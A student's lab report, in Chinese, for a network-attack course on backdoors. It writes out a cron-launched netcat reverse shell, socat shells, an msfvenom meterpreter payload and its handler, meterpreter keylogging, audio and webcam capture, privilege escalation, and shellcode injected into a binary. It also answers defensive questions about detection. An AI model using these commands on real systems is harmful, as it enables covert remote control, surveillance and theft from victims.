2018-2019-2 20165315《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165315《网络对抗技术》Exp2 后门原理与实践
一、实验任务
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
二、实验步骤
1、使用netcat获取主机操作Shell,cron启动
在此任务中,我将kali作为受害机,MacOS系统作为攻击机
- 在Mac终端中监听5315号端口,命令为
nc -l 5315

- 编辑一条定时任务,命令为
crontab -e,选择vim.basic编辑器

- 在编辑器中的最后一行加上
06 * * * * /bin/netcat 10.0.0.165 5303 -e /bin/sh,使每个小时的第6分钟反向连接Mac主机的5315端口(我做实验正好是第5分钟,命令中IP地址为攻击机IP)

- 1分钟后,3点06分时,攻击机获取了受害机的shell操作权,攻击成功

2、使用socat获取主机操作Shell, 任务计划启动
socat简介:
socat是一个多功能的网络工具,名字来由是“ Socket CAT”,可以看作是netcat的N倍加强版。
socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。
socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip,tcp,udp,ipv6,pipe,exec,system,open,proxy,openssl,socket等。
由于我的主机是MacOS系统,故没有按照老师的指导方法进行操作,具体操作参考自该博客。
此项任务中我将MacOS系统作为受害机,Kali作为攻击机。
- 在Mac命令行中下载socat,指令为
brew install socat

- 在受害机上执行
socat tcp-l:5315 system:bash,pty,stderr指令,进行端口转发

- 在攻击机中执行
socat - tcp:10.1.1.165:5315,获取受害机shell操作权(命令中IP地址为受害机IP)

3、使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell
Meterpreter简介:
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
Meterpreter shell作为渗透模块有很多有用的功能,比如打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息等等。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。
由于MacOS系统无法执行exe文件,故此任务我还是用了win7的虚拟机,按照老师的指导方法进行操作。
此项任务中我将Win7系统作为受害机,Kali作为攻击机。
- 在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.196.188 LPORT=5315 -f exe > 20165315_backdoor.exe,生成后门程序“20155312_backdoor.exe”(命令中IP地址为攻击机IP)

- 让受害机进入接收文件模式,指令为
ncat -l 5315 > 20165315_backdoor.exe

- 将生成的后门程序传送到Windows主机上,指令为
nc 10.1.1.143 5315 < 20165315_backdoor.exe(命令中IP地址为受害机IP)

- 在Kali中再打开一个终端,使用
msfconsole指令进入msf控制台

- 依次输入如下指令进行配置:
# use exploit/multi/handler
//使用监听模块,设置payload
# set payload windows/meterpreter/reverse_tcp
//使用和生成后门程序时相同的payload
# set LHOST 192.168.192.188
//这里用的是LinuxIP,和生成后门程序时指定的IP相同
# set LPORT 5315
//同样要使用相同的端口

- 输入
exploit开始监听

- 在win7主机中运行后门程序,攻击机获取受害机Shell,指令为
20165315_backdoor.exe

4、使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用
record_mic指令可以截获一段音频

在当前目录下可找到存储的音频文件:

- 使用
webcam_snap指令可以使用摄像头进行拍照
由于我的虚拟机是Win7系统,没有摄像功能,而主机又是MacOS系统,找了半天都没找到怎么开启摄像机...但是这个指令我已经明白如何使用,没有截图希望老师谅解~

- 使用
keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

- 先使用
getuid指令查看当前用户,使用getsystem指令进行提权,由于是Win7系统,提权失败

5、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
这一项任务还在尝试,如果做出来会有后期更新~
通过后期的尝试与参考这个博客,任务完成过程如下~
此项任务中我将Kali的终端1作为受害机,终端2作为攻击机(这是由于Windows系统无法执行pwn1文件)。
通过MSF生成shellcode,并注入20165315pwn1,生成20165315_msf后门程序,指令为
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.196.190 LPORT=5315 -x /root/20165315/exp1/20165315pwn1 -f elf > 20165315_msf使用msfconsole控制台
在另一个终端中,运行生成的20165315_msf文件,会发现控制台已获取该终端shell权限
三、实验中遇到的问题
在做任务三的时候,我本来想像任务二一样,在网上找一下针对mac的攻击教程,但是在运行到msf控制台时,发现执行exploit指令时,由于macOS系统无法执行exe文件,导致kali无法进行攻击(这说明macOS真的安全)

后来我查到一个博客,可以用msfvenom -p linux/x86/meterpreter/reverse_tcp lhost lport -f elf -o shell指令,虽然文件是生成了,但是...mac还是不能运行这个文件!太安全了导致实验做不了很难受了QAQ

解决过程:
大丈夫能屈能伸,我...最后还是选择了Win7虚拟机...如果有大神知道怎么攻击Mac麻烦在评论里指导我一下,蟹蟹!
四、实验总结
1、基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
当朋友的QQ号被盗后,攻击者借QQ号向我发送自动下载恶意后门程序的链接,假称这是投票链接,如果我没有防范意识,直接点击链接,就会自动下载恶意程序,对电脑的安全造成很大的影响。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows可以使用任务计划,或者当在运行一个含有绑定后门程序的软件时,后门就可以被开启;linux可以使用cron定时触发,也可以通过对正常软件的绑定注入shellcode达到开启后门的目的
(3)Meterpreter有哪些给你映像深刻的功能?
可以通过反向链接,获取所有执行了含后门的可执行文件的主机shell操作权,从而得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息等等。
(4)如何发现自己有系统有没有被安装后门?
查看开机自启动项、任务计划程序中是否有可疑程序;安装专门的杀毒软件,实时防护;查看本机端口,判断是否有被异常开放的端口等等。
2、实验体会
这次实验趣味性很强,通过学习老师教程以及学长学姐的博客,基本都能够完成实验。在这次实验中,我学会了利用后门程序对主机进行注入攻击,学会了使用netcat、socat、meterpreter等,虽然内容简单,但我已经基本了解后门的基本原理。在今后的学习中,我将会进一步深入研究后门的各种理论知识。
本次实验也让我更加了解了一些网络攻击的手段,加强了网络安全防范意识。
2018-2019-2 20165315《网络对抗技术》Exp2 后门原理与实践的更多相关文章
- 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践
2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...
- 20155326刘美岑 《网络对抗》Exp2 后门原理与实践
20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...
- 20155320《网络对抗》Exp2 后门原理与实践
20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 20155208徐子涵《网络对抗》Exp2 后门原理与实践
20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...
- 20145236《网络对抗》Exp2 后门原理与实践
20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...
- 20155202 张旭《网络对抗》Exp2 后门原理与实践
20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...
- 20155218《网络对抗》Exp2 后门原理与实践
20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...
- 20155227《网络对抗》Exp2 后门原理与实践
20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...
- 20155232《网络对抗》Exp2 后门原理与实践
20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...
随机推荐
- jumpservice使用465端口发送邮件
阿里云.华为云等云服务器默认屏蔽掉了25端口后,内网服务器如何通过跳板机发送邮件到外网邮箱. 如果是可联网的阿里云机器,可以直接配置mailx使用465端口发送邮件.需要进行ssl验证配置. Cent ...
- 如何避免在IE内核时,按BackSpace时进行网页会进行回退
//解决在IE浏览器中input被设置成readonly时,点击Backspace时会出现网页回退 document.onkeydown = check; function check(e) { va ...
- centos 6.5 安装redis
1. 下载redis,编译安装 下载地址:https://redis.io/download(建议大家都选择稳定版本) 下载到本地,然后上传到集群 当然也可以通过命令行直接在线下载 $ wget ht ...
- 使用Git将本地文件提交到远程仓库
一 操作准备条件: git远程仓库已经建好了,本地文件已经存在了,现在要将本地代码推到git远程仓库保存. 解决办法如下: 1.(先进入项目文件夹)通过命令 git init 把这个目录变成git可以 ...
- iOS开发- 相机(摄像头)获取到的图片自动旋转90度解决办法
http://blog.csdn.net/hitwhylz/article/details/39518463
- Java能不能通过代码干预Java垃圾回收
1.不能通过Java代码干预Java垃圾回收. 2.system.gc是请求运行垃圾回收器,不一定真的运行了垃圾回收器. 3.Java的system.gc不受代码控制. 4.影响Java虚拟机垃圾回收 ...
- Delphi中Inputbox 和Inputquery 函数的使用
原文转自:http://blog.csdn.net/zengcong2013/article/details/18355959 inputbox的返回值是,你在输入框中输入的文字.而inputquer ...
- 深入理解Java虚拟机读书笔记5----虚拟机字节码执行引擎
五 虚拟机字节码执行引擎 1 运行时栈帧结构 ---栈帧是用于支持虚拟机进行方法调用和方法执行的数据结构,是虚拟机运行时数据区中的虚拟机栈的栈元素. ---栈帧中存储了方法的局部变 ...
- 容器部署解决方案Docker
容器部署解决方案Docker 课程目标 目标1:了解Docker与虚拟机的不同点,相比的优势 目标2:掌握Docker的启动方法 目标3:掌握Docker镜像操作 目标4:掌握Docker容器操作 ...
- window django-https 证书
1.openssl 下载 http://slproweb.com/products/Win32OpenSSL.html 根据你的系统来选择不同的版本下载安装,选带light的比较小. 2.安装后添加环 ...